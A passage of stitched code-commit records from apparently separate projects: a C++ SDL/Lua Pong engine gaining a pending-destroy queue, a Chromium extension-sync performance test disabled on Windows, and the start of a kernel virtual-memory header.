mVelocityMap.find(handle);\n if (velocityIt != mVelocityMap.end())\n {\n mVelocityMap.erase(velocityIt);\n }\n auto boundingBoxIt = mBoundingBoxMap.find(handle);\n if (boundingBoxIt != mBoundingBoxMap.end())\n {\n mBoundingBoxMap.erase(boundingBoxIt);\n }\n auto dimensionIt = mDimensionMap.find(handle);\n if (dimensionIt != mDimensionMap.end())\n {\n mDimensionMap.erase(dimensionIt);\n }\n }\n\n void processInput(const SDL_Event& evt)\n {\n if (evt.type == SDL_KEYDOWN)\n {\n if (mKeyPressTable[evt.key.keysym.sym].isFunction())\n {\n mKeyPressTable[evt.key.keysym.sym]();\n }\n }\n else if (evt.type == SDL_KEYUP)\n {\n if (mKeyReleaseTable[evt.key.keysym.sym].isFunction())\n {\n mKeyReleaseTable[evt.key.keysym.sym]();\n }\n }\n }\n\n void update(float dt)\n {\n forEachEntity([&](const EntityHandle& handle)\n {\n mPositionMap[handle] += dt * mVelocityMap[handle];\n });\n std::for_each(\n mCollisionHandlerMap.begin(),\n mCollisionHandlerMap.end(),\n [&](std::pair<const EntityPair, luabridge::LuaRef> kv)\n {\n if (checkCollision(\n getBoundingBox(kv.first.first),\n getBoundingBox(kv.first.second)))\n {\n kv.second(kv.first.first, kv.first.second, dt);\n }\n });\n }\n\n SDL_Rect getBoundingBox(EntityHandle handle)\n {\n Vector2f position = mPositionMap[handle];\n Vector2i boundingBox = mBoundingBoxMap[handle];\n return SDL_Rect{\n (int)position.x - (boundingBox.x \/ 2),\n (int)position.y - (boundingBox.y \/ 2),\n boundingBox.x,\n boundingBox.y\n };\n }\n\n SDL_Rect getIntersection(EntityHandle a, EntityHandle b)\n {\n SDL_Rect aRect = getBoundingBox(a);\n SDL_Rect bRect = getBoundingBox(b);\n return te::getIntersection(aRect, bRect);\n }\n\n void draw(RendererPtr pRenderer)\n {\n forEachEntity([&](const EntityHandle& handle)\n {\n auto positionIt = mPositionMap.find(handle);\n auto spriteIt = mDimensionMap.find(handle);\n if (spriteIt != mDimensionMap.end())\n {\n Vector2f& pos = positionIt->second;\n Vector2i& dim = spriteIt->second;\n SDL_SetRenderDrawColor(pRenderer.get(), 0xFF, 0xFF, 0xFF, 0xFF);\n SDL_Rect rect = {\n (int)pos.x - (dim.x \/ 2),\n (int)pos.y - (dim.y \/ 2),\n dim.x,\n dim.y\n };\n SDL_RenderFillRect(pRenderer.get(), &rect);\n }\n });\n }\n\n void forEachEntity(const std::function<void(const EntityHandle&)>& func)\n {\n std::for_each(mEntities.begin(), mEntities.end(), func);\n }\n\n private:\n std::shared_ptr<lua_State> mpL;\n EntityHandle mHandleCount;\n\n std::vector<EntityHandle> mEntities;\n\n std::map<EntityHandle, Vector2f> mPositionMap;\n std::map<EntityHandle, Vector2f> mVelocityMap;\n std::map<EntityHandle, Vector2i> mBoundingBoxMap;\n std::map<EntityHandle, Vector2i> mDimensionMap;\n\n luabridge::LuaRef mKeyPressTable;\n luabridge::LuaRef mKeyReleaseTable;\n std::map<EntityPair, luabridge::LuaRef> mCollisionHandlerMap;\n };\n}\n\nint main(int argc, char** argv)\n{\n te::Initialization init;\n\n LuaGameState state;\n\n const int WIDTH = 640;\n const int HEIGHT = 480;\n\n te::WindowPtr pWindow = te::wrapWindow(\n SDL_CreateWindow(\"Pong\", SDL_WINDOWPOS_UNDEFINED, SDL_WINDOWPOS_UNDEFINED, WIDTH, HEIGHT, SDL_WINDOW_SHOWN)\n );\n te::RendererPtr pRenderer = te::createRenderer(pWindow);\n\n SDL_Event e;\n bool running = true;\n\n Uint32 FPS = 60;\n Uint32 TIME_PER_FRAME = 1000 \/ FPS;\n\n Uint64 t0 = SDL_GetPerformanceCounter();\n\n while (running)\n {\n while (SDL_PollEvent(&e) != 0)\n {\n if (e.type == SDL_QUIT)\n {\n running = false;\n }\n state.processInput(e);\n }\n\n Uint64 now = SDL_GetPerformanceCounter();\n float dt = (float)(now - t0) \/ SDL_GetPerformanceFrequency();\n\n state.update(dt);\n\n SDL_SetRenderDrawColor(pRenderer.get(), 0x00, 0x00, 0x00, 0xFF);\n SDL_RenderClear(pRenderer.get());\n\n state.draw(pRenderer);\n\n SDL_RenderPresent(pRenderer.get());\n t0 = now;\n }\n\n return 0;\n}\n<commit_msg>Destroy entities safely with pending queue<commit_after>#include <SDL.h>\n#include <iostream>\n#include <math.h>\n#include <vector>\n#include <map>\n#include <functional>\n#include <algorithm>\n#include <lua.hpp>\n#include <LuaBridge.h>\n#include \"types.h\"\n#include \"wrappers.h\"\n#include \"auxiliary.h\"\n#include \"entity.h\"\n#include \"commands.h\"\n#include \"player.h\"\n\nusing namespace te;\n\nnamespace te\n{\n class LuaGameState\n {\n public:\n LuaGameState(const std::string& filename = \"init.lua\")\n : mpL(luaL_newstate(), [](lua_State* L){ lua_close(L); })\n , mHandleCount(0)\n , mEntities()\n , mPositionMap()\n , mVelocityMap()\n , mBoundingBoxMap()\n , mDimensionMap()\n , mPendingDestroys()\n , mKeyPressTable(luabridge::newTable(mpL.get()))\n , mKeyReleaseTable(luabridge::newTable(mpL.get()))\n , mCollisionHandlerMap()\n {\n lua_State* pL = mpL.get();\n luaL_openlibs(pL);\n\n luabridge::getGlobalNamespace(pL)\n .beginClass<LuaGameState>(\"GameState\")\n .addFunction(\"createEntity\", &LuaGameState::createEntity)\n .addFunction(\"setPosition\", &LuaGameState::setPosition)\n .addFunction(\"getPosition\", &LuaGameState::getPosition)\n .addFunction(\"setVelocity\", &LuaGameState::setVelocity)\n .addFunction(\"getVelocity\", &LuaGameState::getVelocity)\n .addFunction(\"setBoundingBox\", &LuaGameState::setBoundingBox)\n .addFunction(\"getBoundingBox\", &LuaGameState::getBoundingBox)\n .addFunction(\"getIntersection\", &LuaGameState::getIntersection)\n .addFunction(\"setSprite\", &LuaGameState::setSprite)\n .addFunction(\"handleCollision\", &LuaGameState::handleCollision)\n .addFunction(\"destroyEntity\", &LuaGameState::addPendingDestroy)\n .addFunction(\"registerKeyPressTable\", &LuaGameState::registerKeyPressTable)\n .addFunction(\"registerKeyReleaseTable\", &LuaGameState::registerKeyReleaseTable)\n .endClass()\n .beginClass<Vector2f>(\"Vector2\")\n .addConstructor<void(*)(void)>()\n .addConstructor<void(*)(float, float)>()\n .addData(\"x\", &te::Vector2f::x)\n .addData(\"y\", &te::Vector2f::y)\n .endClass()\n .addFunction<te::Vector2f(*)(te::Vector2f, te::Vector2f)>(\"addV\", &te::operator+)\n .addFunction<te::Vector2f(*)(te::Vector2f, te::Vector2f)>(\"subtractV\", &te::operator-)\n .addFunction<te::Vector2f(*)(float, te::Vector2f)>(\"multiplyV\", &te::operator*)\n .addFunction<te::Vector2f(*)(te::Vector2f, float)>(\"divideV\", &te::operator\/)\n .addFunction<float(*)(te::Vector2f)>(\"lengthV\", &te::length)\n .addFunction<te::Vector2f(*)(te::Vector2f)>(\"normalizeV\", &te::normalize)\n .beginClass<SDL_Rect>(\"Rect\")\n .addData(\"h\", &SDL_Rect::h)\n .addData(\"w\", &SDL_Rect::w)\n .addData(\"x\", &SDL_Rect::x)\n .addData(\"y\", &SDL_Rect::y)\n .endClass();\n luabridge::push(pL, this);\n lua_setglobal(pL, \"game\");\n\n luaL_dofile(pL, filename.c_str());\n luabridge::getGlobal(pL, \"main\")();\n }\n\n typedef unsigned int EntityHandle;\n typedef std::pair<EntityHandle, EntityHandle> EntityPair;\n\n EntityHandle createEntity(const Vector2f& position, const Vector2f& velocity)\n {\n EntityHandle handle = mHandleCount++;\n mEntities.push_back(handle);\n mPositionMap.insert(std::make_pair(handle, position));\n mVelocityMap.insert(std::make_pair(handle, velocity));\n mBoundingBoxMap.insert(std::make_pair(handle, Vector2i(0, 0)));\n return handle;\n }\n\n void setPosition(EntityHandle handle, const Vector2f& position)\n {\n if (!exists(handle)) return;\n\n mPositionMap[handle] = position;\n }\n\n Vector2f getPosition(EntityHandle handle)\n {\n if (!exists(handle)) return Vector2f(0.f, 0.f);\n\n return mPositionMap[handle];\n }\n\n void setVelocity(EntityHandle handle, const Vector2f& velocity)\n {\n if (!exists(handle)) return;\n\n mVelocityMap[handle] = velocity;\n }\n\n Vector2f getVelocity(EntityHandle handle)\n {\n if (!exists(handle)) return Vector2f(0.f, 0.f);\n\n return mVelocityMap[handle];\n }\n\n void setBoundingBox(EntityHandle handle, const Vector2f& dimensions)\n {\n if (!exists(handle)) return;\n\n mBoundingBoxMap[handle] = convertVector2<int>(dimensions);\n }\n\n void setSprite(EntityHandle handle, const Vector2f& dimensions)\n {\n if (!exists(handle)) return;\n\n insertOrAssign(mDimensionMap, std::make_pair(\n handle, convertVector2<int>(dimensions)));\n }\n\n void handleCollision(EntityHandle e1, EntityHandle e2, luabridge::LuaRef handler)\n {\n if (!exists(e1) || !exists(e2)) return;\n\n auto key = std::make_pair(e1, e2);\n auto it = mCollisionHandlerMap.find(key);\n if (it == mCollisionHandlerMap.end())\n {\n mCollisionHandlerMap.insert(std::make_pair(\n key,\n handler));\n }\n else\n {\n it->second = handler;\n }\n }\n\n void registerKeyPressTable(luabridge::LuaRef table)\n {\n mKeyPressTable = table;\n }\n\n void registerKeyReleaseTable(luabridge::LuaRef table)\n {\n mKeyReleaseTable = table;\n }\n\n bool exists(EntityHandle handle)\n {\n auto it = std::find(std::begin(mEntities), std::end(mEntities), handle);\n return it != std::end(mEntities);\n }\n\n void addPendingDestroy(EntityHandle handle)\n {\n mPendingDestroys.push_back(handle);\n }\n\n void destroyEntity(EntityHandle handle)\n {\n if (!exists(handle)) return;\n\n auto positionIt = mPositionMap.find(handle);\n if (positionIt != mPositionMap.end())\n {\n mPositionMap.erase(positionIt);\n }\n auto velocityIt = mVelocityMap.find(handle);\n if (velocityIt != mVelocityMap.end())\n {\n mVelocityMap.erase(velocityIt);\n }\n auto boundingBoxIt = mBoundingBoxMap.find(handle);\n if (boundingBoxIt != mBoundingBoxMap.end())\n {\n mBoundingBoxMap.erase(boundingBoxIt);\n }\n auto dimensionIt = mDimensionMap.find(handle);\n if (dimensionIt != mDimensionMap.end())\n {\n mDimensionMap.erase(dimensionIt);\n }\n mEntities.erase(\n std::remove(mEntities.begin(), mEntities.end(), handle),\n mEntities.end());\n }\n\n void destroyEntities()\n {\n std::for_each(\n mPendingDestroys.begin(),\n mPendingDestroys.end(),\n [&](const EntityHandle& handle)\n {\n destroyEntity(handle);\n });\n mPendingDestroys.clear();\n }\n\n void processInput(const SDL_Event& evt)\n {\n if (evt.type == SDL_KEYDOWN)\n {\n if (mKeyPressTable[evt.key.keysym.sym].isFunction())\n {\n mKeyPressTable[evt.key.keysym.sym]();\n }\n }\n else if (evt.type == SDL_KEYUP)\n {\n if (mKeyReleaseTable[evt.key.keysym.sym].isFunction())\n {\n mKeyReleaseTable[evt.key.keysym.sym]();\n }\n }\n }\n\n void update(float dt)\n {\n forEachEntity([&](const EntityHandle& handle)\n {\n mPositionMap[handle] += dt * mVelocityMap[handle];\n });\n std::for_each(\n mCollisionHandlerMap.begin(),\n mCollisionHandlerMap.end(),\n [&](std::pair<const EntityPair, luabridge::LuaRef> kv)\n {\n if (checkCollision(\n getBoundingBox(kv.first.first),\n getBoundingBox(kv.first.second)))\n {\n kv.second(kv.first.first, kv.first.second, dt);\n }\n });\n destroyEntities();\n }\n\n SDL_Rect getBoundingBox(EntityHandle handle)\n {\n Vector2f position = mPositionMap[handle];\n Vector2i boundingBox = mBoundingBoxMap[handle];\n return SDL_Rect{\n (int)position.x - (boundingBox.x \/ 2),\n (int)position.y - (boundingBox.y \/ 2),\n boundingBox.x,\n boundingBox.y\n };\n }\n\n SDL_Rect getIntersection(EntityHandle a, EntityHandle b)\n {\n SDL_Rect aRect = getBoundingBox(a);\n SDL_Rect bRect = getBoundingBox(b);\n return te::getIntersection(aRect, bRect);\n }\n\n void draw(RendererPtr pRenderer)\n {\n forEachEntity([&](const EntityHandle& handle)\n {\n auto positionIt = mPositionMap.find(handle);\n auto spriteIt = mDimensionMap.find(handle);\n if (spriteIt != mDimensionMap.end())\n {\n Vector2f& pos = positionIt->second;\n Vector2i& dim = spriteIt->second;\n SDL_SetRenderDrawColor(pRenderer.get(), 0xFF, 0xFF, 0xFF, 0xFF);\n SDL_Rect rect = {\n (int)pos.x - (dim.x \/ 2),\n (int)pos.y - (dim.y \/ 2),\n dim.x,\n dim.y\n };\n SDL_RenderFillRect(pRenderer.get(), &rect);\n }\n });\n }\n\n void forEachEntity(const std::function<void(const EntityHandle&)>& func)\n {\n std::for_each(mEntities.begin(), mEntities.end(), func);\n }\n\n private:\n std::shared_ptr<lua_State> mpL;\n EntityHandle mHandleCount;\n\n std::vector<EntityHandle> mEntities;\n\n std::map<EntityHandle, Vector2f> mPositionMap;\n std::map<EntityHandle, Vector2f> mVelocityMap;\n std::map<EntityHandle, Vector2i> mBoundingBoxMap;\n std::map<EntityHandle, Vector2i> mDimensionMap;\n\n std::vector<EntityHandle> mPendingDestroys;\n\n luabridge::LuaRef mKeyPressTable;\n luabridge::LuaRef mKeyReleaseTable;\n std::map<EntityPair, luabridge::LuaRef> mCollisionHandlerMap;\n };\n}\n\nint main(int argc, char** argv)\n{\n te::Initialization init;\n\n LuaGameState state;\n\n const int WIDTH = 640;\n const int HEIGHT = 480;\n\n te::WindowPtr pWindow = te::wrapWindow(\n SDL_CreateWindow(\"Pong\", SDL_WINDOWPOS_UNDEFINED, SDL_WINDOWPOS_UNDEFINED, WIDTH, HEIGHT, SDL_WINDOW_SHOWN)\n );\n te::RendererPtr pRenderer = te::createRenderer(pWindow);\n\n SDL_Event e;\n bool running = true;\n\n Uint32 FPS = 60;\n Uint32 TIME_PER_FRAME = 1000 \/ FPS;\n\n Uint64 t0 = SDL_GetPerformanceCounter();\n\n while (running)\n {\n while (SDL_PollEvent(&e) != 0)\n {\n if (e.type == SDL_QUIT)\n {\n running = false;\n }\n state.processInput(e);\n }\n\n Uint64 now = SDL_GetPerformanceCounter();\n float dt = (float)(now - t0) \/ SDL_GetPerformanceFrequency();\n\n state.update(dt);\n\n SDL_SetRenderDrawColor(pRenderer.get(), 0x00, 0x00, 0x00, 0xFF);\n SDL_RenderClear(pRenderer.get());\n\n state.draw(pRenderer);\n\n SDL_RenderPresent(pRenderer.get());\n t0 = now;\n }\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/stringprintf.h\"\n#include \"chrome\/browser\/sync\/profile_sync_service_harness.h\"\n#include \"chrome\/browser\/sync\/test\/integration\/extensions_helper.h\"\n#include \"chrome\/browser\/sync\/test\/integration\/performance\/sync_timing_helper.h\"\n#include \"chrome\/browser\/sync\/test\/integration\/sync_test.h\"\n\nusing extensions_helper::AllProfilesHaveSameExtensions;\nusing extensions_helper::AllProfilesHaveSameExtensionsAsVerifier;\nusing extensions_helper::DisableExtension;\nusing extensions_helper::EnableExtension;\nusing extensions_helper::GetInstalledExtensions;\nusing extensions_helper::InstallExtension;\nusing extensions_helper::InstallExtensionsPendingForSync;\nusing extensions_helper::IsExtensionEnabled;\nusing extensions_helper::UninstallExtension;\n\n\/\/ TODO(braffert): Replicate these tests for apps.\n\nstatic const int kNumExtensions = 150;\n\nclass ExtensionsSyncPerfTest : public SyncTest {\n public:\n ExtensionsSyncPerfTest()\n : SyncTest(TWO_CLIENT),\n extension_number_(0) {}\n\n \/\/ Adds |num_extensions| new unique extensions to |profile|.\n void AddExtensions(int profile, int num_extensions);\n\n \/\/ Updates the enabled\/disabled state for all extensions in |profile|.\n void UpdateExtensions(int profile);\n\n \/\/ Uninstalls all currently installed extensions from |profile|.\n void RemoveExtensions(int profile);\n\n \/\/ Returns the number of currently installed extensions for |profile|.\n int GetExtensionCount(int profile);\n\n private:\n int extension_number_;\n DISALLOW_COPY_AND_ASSIGN(ExtensionsSyncPerfTest);\n};\n\nvoid ExtensionsSyncPerfTest::AddExtensions(int profile, int num_extensions) {\n for (int i = 0; i < num_extensions; ++i) {\n InstallExtension(GetProfile(profile), extension_number_++);\n }\n}\n\nvoid ExtensionsSyncPerfTest::UpdateExtensions(int profile) {\n std::vector<int> extensions = GetInstalledExtensions(GetProfile(profile));\n for (std::vector<int>::iterator it = extensions.begin();\n it != extensions.end(); ++it) {\n if (IsExtensionEnabled(GetProfile(profile), *it)) {\n DisableExtension(GetProfile(profile), *it);\n } else {\n EnableExtension(GetProfile(profile), *it);\n }\n }\n}\n\nint ExtensionsSyncPerfTest::GetExtensionCount(int profile) {\n return GetInstalledExtensions(GetProfile(profile)).size();\n}\n\nvoid ExtensionsSyncPerfTest::RemoveExtensions(int profile) {\n std::vector<int> extensions = GetInstalledExtensions(GetProfile(profile));\n for (std::vector<int>::iterator it = extensions.begin();\n it != extensions.end(); ++it) {\n UninstallExtension(GetProfile(profile), *it);\n }\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionsSyncPerfTest, P0) {\n ASSERT_TRUE(SetupSync()) << \"SetupSync() failed.\";\n int num_default_extensions = GetExtensionCount(0);\n int expected_extension_count = num_default_extensions + kNumExtensions;\n\n \/\/ TCM ID - 7563874.\n AddExtensions(0, kNumExtensions);\n base::TimeDelta dt =\n SyncTimingHelper::TimeMutualSyncCycle(GetClient(0), GetClient(1));\n InstallExtensionsPendingForSync(GetProfile(1));\n ASSERT_EQ(expected_extension_count, GetExtensionCount(1));\n SyncTimingHelper::PrintResult(\"extensions\", \"add_extensions\", dt);\n\n \/\/ TCM ID - 7655397.\n UpdateExtensions(0);\n dt = SyncTimingHelper::TimeMutualSyncCycle(GetClient(0), GetClient(1));\n ASSERT_EQ(expected_extension_count, GetExtensionCount(1));\n SyncTimingHelper::PrintResult(\"extensions\", \"update_extensions\", dt);\n\n \/\/ TCM ID - 7567721.\n RemoveExtensions(0);\n dt = SyncTimingHelper::TimeMutualSyncCycle(GetClient(0), GetClient(1));\n ASSERT_EQ(num_default_extensions, GetExtensionCount(1));\n SyncTimingHelper::PrintResult(\"extensions\", \"delete_extensions\", dt);\n}\n<commit_msg>Performance - Disabled ExtensionsSyncPerfTest on Windows to fix the windows performance bots to go green<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/stringprintf.h\"\n#include \"chrome\/browser\/sync\/profile_sync_service_harness.h\"\n#include \"chrome\/browser\/sync\/test\/integration\/extensions_helper.h\"\n#include \"chrome\/browser\/sync\/test\/integration\/performance\/sync_timing_helper.h\"\n#include \"chrome\/browser\/sync\/test\/integration\/sync_test.h\"\n\nusing extensions_helper::AllProfilesHaveSameExtensions;\nusing extensions_helper::AllProfilesHaveSameExtensionsAsVerifier;\nusing extensions_helper::DisableExtension;\nusing extensions_helper::EnableExtension;\nusing extensions_helper::GetInstalledExtensions;\nusing extensions_helper::InstallExtension;\nusing extensions_helper::InstallExtensionsPendingForSync;\nusing extensions_helper::IsExtensionEnabled;\nusing extensions_helper::UninstallExtension;\n\n\/\/ TODO(braffert): Replicate these tests for apps.\n\nstatic const int kNumExtensions = 150;\n\nclass ExtensionsSyncPerfTest : public SyncTest {\n public:\n ExtensionsSyncPerfTest()\n : SyncTest(TWO_CLIENT),\n extension_number_(0) {}\n\n \/\/ Adds |num_extensions| new unique extensions to |profile|.\n void AddExtensions(int profile, int num_extensions);\n\n \/\/ Updates the enabled\/disabled state for all extensions in |profile|.\n void UpdateExtensions(int profile);\n\n \/\/ Uninstalls all currently installed extensions from |profile|.\n void RemoveExtensions(int profile);\n\n \/\/ Returns the number of currently installed extensions for |profile|.\n int GetExtensionCount(int profile);\n\n private:\n int extension_number_;\n DISALLOW_COPY_AND_ASSIGN(ExtensionsSyncPerfTest);\n};\n\nvoid ExtensionsSyncPerfTest::AddExtensions(int profile, int num_extensions) {\n for (int i = 0; i < num_extensions; ++i) {\n InstallExtension(GetProfile(profile), extension_number_++);\n }\n}\n\nvoid ExtensionsSyncPerfTest::UpdateExtensions(int profile) {\n std::vector<int> extensions = GetInstalledExtensions(GetProfile(profile));\n for (std::vector<int>::iterator it = extensions.begin();\n it != extensions.end(); ++it) {\n if (IsExtensionEnabled(GetProfile(profile), *it)) {\n DisableExtension(GetProfile(profile), *it);\n } else {\n EnableExtension(GetProfile(profile), *it);\n }\n }\n}\n\nint ExtensionsSyncPerfTest::GetExtensionCount(int profile) {\n return GetInstalledExtensions(GetProfile(profile)).size();\n}\n\nvoid ExtensionsSyncPerfTest::RemoveExtensions(int profile) {\n std::vector<int> extensions = GetInstalledExtensions(GetProfile(profile));\n for (std::vector<int>::iterator it = extensions.begin();\n it != extensions.end(); ++it) {\n UninstallExtension(GetProfile(profile), *it);\n }\n}\n\n\/\/ Flaky on Windows, see http:\/\/crbug.com\/111072\n#if defined(OS_WIN)\n#define MAYBE_P0 DISABLED_P0\n#else\n#define MAYBE_P0 P0\n#endif\n\nIN_PROC_BROWSER_TEST_F(ExtensionsSyncPerfTest, MAYBE_P0) {\n ASSERT_TRUE(SetupSync()) << \"SetupSync() failed.\";\n int num_default_extensions = GetExtensionCount(0);\n int expected_extension_count = num_default_extensions + kNumExtensions;\n\n \/\/ TCM ID - 7563874.\n AddExtensions(0, kNumExtensions);\n base::TimeDelta dt =\n SyncTimingHelper::TimeMutualSyncCycle(GetClient(0), GetClient(1));\n InstallExtensionsPendingForSync(GetProfile(1));\n ASSERT_EQ(expected_extension_count, GetExtensionCount(1));\n SyncTimingHelper::PrintResult(\"extensions\", \"add_extensions\", dt);\n\n \/\/ TCM ID - 7655397.\n UpdateExtensions(0);\n dt = SyncTimingHelper::TimeMutualSyncCycle(GetClient(0), GetClient(1));\n ASSERT_EQ(expected_extension_count, GetExtensionCount(1));\n SyncTimingHelper::PrintResult(\"extensions\", \"update_extensions\", dt);\n\n \/\/ TCM ID - 7567721.\n RemoveExtensions(0);\n dt = SyncTimingHelper::TimeMutualSyncCycle(GetClient(0), GetClient(1));\n ASSERT_EQ(num_default_extensions, GetExtensionCount(1));\n SyncTimingHelper::PrintResult(\"extensions\", \"delete_extensions\", dt);\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"gc.hh\"\n#include \"atomic.hh\"\n#include \"radix.hh\"\n#include \"cpputil.hh\"\n#include \"hwvm.hh\"\n#include \"uwq.hh\"\n#include \"distref.hh\"\n#include \"bit_spinlock.hh\"\n#include \"radix_array.hh\"\n#include \"kalloc.hh\"\n#include \"page_info.hh\"\n\nstruct padded_length;\n\nusing std::atomic;\n\n\/\/ A virtual memory descriptor that maintains metadata for pages in an\n\/\/ address space. This plays a similar role to the more traditional\n\/\/ \"virtual memory area,\" but this does not know its size (it could\n\/\/ represent a single page or the entire address space).\nstruct vmdesc\n{\n enum {\n \/\/ Bit used for radix tree range locking\n FLAG_LOCK_BIT = 0,\n FLAG_LOCK = 1<<FLAG_LOCK_BIT,\n\n \/\/ Set if this virtual page frame has been mapped\n FLAG_MAPPED = 1<<1,\n\n \/\/ Set if this virtual page frame is copy-on-write. A write fault\n \/\/ to this page frame should copy page and unset the COW bit. A\n \/\/ read fault should map the existing page read-only. This flag\n \/\/ should be zero if this VPF has no backing page.\n FLAG_COW = 1<<2,\n\n \/\/ Set if this page frame maps anonymous memory. Cleared if this\n \/\/ page frame maps a file (in which case ip and start are used).\n FLAG_ANON = 1<<3,\n };\n\n \/\/ Flags\n u64 flags;\n\n \/\/ The physical page mapped in this frame, or null if no page has\n \/\/ been allocated for this frame.\n sref<class page_info> page;\n\n \/\/ XXX We could pack the following fields into a union if there's\n \/\/ anything we can overlap with them for anonymous memory. However,\n \/\/ then we have to use C++11 unrestricted unions because of the\n \/\/ sref, so we'd have to define all of vmdesc's special methods\n \/\/ ourselves.\n\n \/\/ The file mapped at this page frame.\n sref<struct inode> inode;\n\n \/\/ If a file is mapped at this page frame, the virtual address of\n \/\/ that file's 0 byte. For anonymous memory, this must be 0. We\n \/\/ record this instead of the page frame's offset in the file so\n \/\/ that a range of page frames mapping a sequence of pages from a\n \/\/ file will be identical (and hence compressable in the radix\n \/\/ tree).\n intptr_t start;\n\n \/\/ Construct a descriptor for unmapped memory.\n vmdesc() : flags(0), start(0) { }\n\n \/\/ Construct a descriptor that maps the beginning of ip's file to\n \/\/ virtual address start (which may be negative).\n vmdesc(const sref<struct inode> &ip, intptr_t start)\n : flags(FLAG_MAPPED), inode(ip), start(start) { }\n\n \/\/ The anonymous memory descriptor.\n static struct vmdesc anon_desc;\n\n \/\/ Radix_array element methods\n\n bit_spinlock get_lock()\n {\n return bit_spinlock(&flags, FLAG_LOCK_BIT);\n }\n\n bool is_set() const\n {\n return flags & FLAG_MAPPED;\n }\n\nprivate:\n vmdesc(u64 flags)\n : flags(flags), page(), inode(), start() { }\n};\n\nvoid to_stream(class print_stream *s, const vmdesc &vmd);\n\n\/\/ An address space. This manages the mapping from virtual addresses\n\/\/ to virtual memory descriptors.\nstruct vmap {\n struct radix vmas;\n\n static vmap* alloc();\n\n atomic<u64> ref;\n char *const kshared;\n\n void decref();\n void incref();\n\n \/\/ Copy this vmap's structure and share pages copy-on-write.\n vmap* copy(proc_pgmap* pgmap);\n\n \/\/ Map desc from virtual addresses start to start+len.\n long insert(const vmdesc &desc, uptr start, uptr len, proc_pgmap* pgmap,\n bool dotlb = true);\n\n \/\/ Unmap from virtual addresses start to start+len.\n int remove(uptr start, uptr len, proc_pgmap* pgmap);\n\n int pagefault(uptr va, u32 err, proc_pgmap* pgmap);\n\n \/\/ Map virtual address va in this address space to a kernel virtual\n \/\/ address, performing the equivalent of a read page fault if\n \/\/ necessary. Returns nullptr if va is not mapped. Needless to\n \/\/ say, this mapping is only valid within the returned page.\n void* pagelookup(uptr va);\n\n \/\/ Copy len bytes from p to user address va in vmap. Most useful\n \/\/ when vmap is not the current page table.\n int copyout(uptr va, void *p, u64 len);\n int sbrk(ssize_t n, uptr *addr);\n\n void add_pgmap(proc_pgmap* pgmap);\n void rem_pgmap(proc_pgmap* pgmap);\n\n \/\/ Print this vmap to the console\n void dump();\n\n uptr brk_; \/\/ Top of heap\n\nprivate:\n vmap();\n vmap(const vmap&);\n vmap& operator=(const vmap&);\n ~vmap();\n NEW_DELETE_OPS(vmap)\n uptr unmapped_area(size_t n);\n\n \/\/ Virtual page frames\n typedef radix_array<vmdesc, USERTOP \/ PGSIZE, PGSIZE,\n kalloc_allocator<vmdesc> > vpf_array;\n vpf_array vpfs_;\n\n struct spinlock brklock_;\n\n enum class access_type\n {\n READ, WRITE\n };\n\n \/\/ Ensure there is a backing page at @c it. The caller is\n \/\/ responsible for ensuring that there is a mapping at @c it and for\n \/\/ locking vpfs_ at @c it. This throws bad_alloc if a page must be\n \/\/ allocated and cannot be.\n page_info *ensure_page(const vpf_array::iterator &it, access_type type);\n\n \/\/ XXX(sbw) most likely an awful hash function\n static u64 proc_pgmap_hash(proc_pgmap* const & p)\n {\n return (u64) p;\n }\n xns<proc_pgmap*, proc_pgmap*, proc_pgmap_hash> pgmap_list_;\n};\n<commit_msg>vm: Fix crash with large mappings<commit_after>#include \"gc.hh\"\n#include \"atomic.hh\"\n#include \"radix.hh\"\n#include \"cpputil.hh\"\n#include \"hwvm.hh\"\n#include \"uwq.hh\"\n#include \"distref.hh\"\n#include \"bit_spinlock.hh\"\n#include \"radix_array.hh\"\n#include \"kalloc.hh\"\n#include \"page_info.hh\"\n\nstruct padded_length;\n\nusing std::atomic;\n\n\/\/ A virtual memory descriptor that maintains metadata for pages in an\n\/\/ address space. This plays a similar role to the more traditional\n\/\/ \"virtual memory area,\" but this does not know its size (it could\n\/\/ represent a single page or the entire address space).\nstruct vmdesc\n{\n enum {\n \/\/ Bit used for radix tree range locking\n FLAG_LOCK_BIT = 0,\n FLAG_LOCK = 1<<FLAG_LOCK_BIT,\n\n \/\/ Set if this virtual page frame has been mapped\n FLAG_MAPPED = 1<<1,\n\n \/\/ Set if this virtual page frame is copy-on-write. A write fault\n \/\/ to this page frame should copy page and unset the COW bit. A\n \/\/ read fault should map the existing page read-only. This flag\n \/\/ should be zero if this VPF has no backing page.\n FLAG_COW = 1<<2,\n\n \/\/ Set if this page frame maps anonymous memory. Cleared if this\n \/\/ page frame maps a file (in which case ip and start are used).\n FLAG_ANON = 1<<3,\n };\n\n \/\/ Flags\n u64 flags;\n\n \/\/ The physical page mapped in this frame, or null if no page has\n \/\/ been allocated for this frame.\n sref<class page_info> page;\n\n \/\/ XXX We could pack the following fields into a union if there's\n \/\/ anything we can overlap with them for anonymous memory. However,\n \/\/ then we have to use C++11 unrestricted unions because of the\n \/\/ sref, so we'd have to define all of vmdesc's special methods\n \/\/ ourselves.\n\n \/\/ The file mapped at this page frame.\n sref<struct inode> inode;\n\n \/\/ If a file is mapped at this page frame, the virtual address of\n \/\/ that file's 0 byte. For anonymous memory, this must be 0. We\n \/\/ record this instead of the page frame's offset in the file so\n \/\/ that a range of page frames mapping a sequence of pages from a\n \/\/ file will be identical (and hence compressable in the radix\n \/\/ tree).\n intptr_t start;\n\n \/\/ Construct a descriptor for unmapped memory.\n vmdesc() : flags(0), start(0) { }\n\n \/\/ Construct a descriptor that maps the beginning of ip's file to\n \/\/ virtual address start (which may be negative).\n vmdesc(const sref<struct inode> &ip, intptr_t start)\n : flags(FLAG_MAPPED), inode(ip), start(start) { }\n\n \/\/ The anonymous memory descriptor.\n static struct vmdesc anon_desc;\n\n \/\/ Radix_array element methods\n\n bit_spinlock get_lock()\n {\n return bit_spinlock(&flags, FLAG_LOCK_BIT);\n }\n\n bool is_set() const\n {\n return flags & FLAG_MAPPED;\n }\n\n \/\/ We need new\/delete so the radix_array can allocate external nodes\n \/\/ when performing node 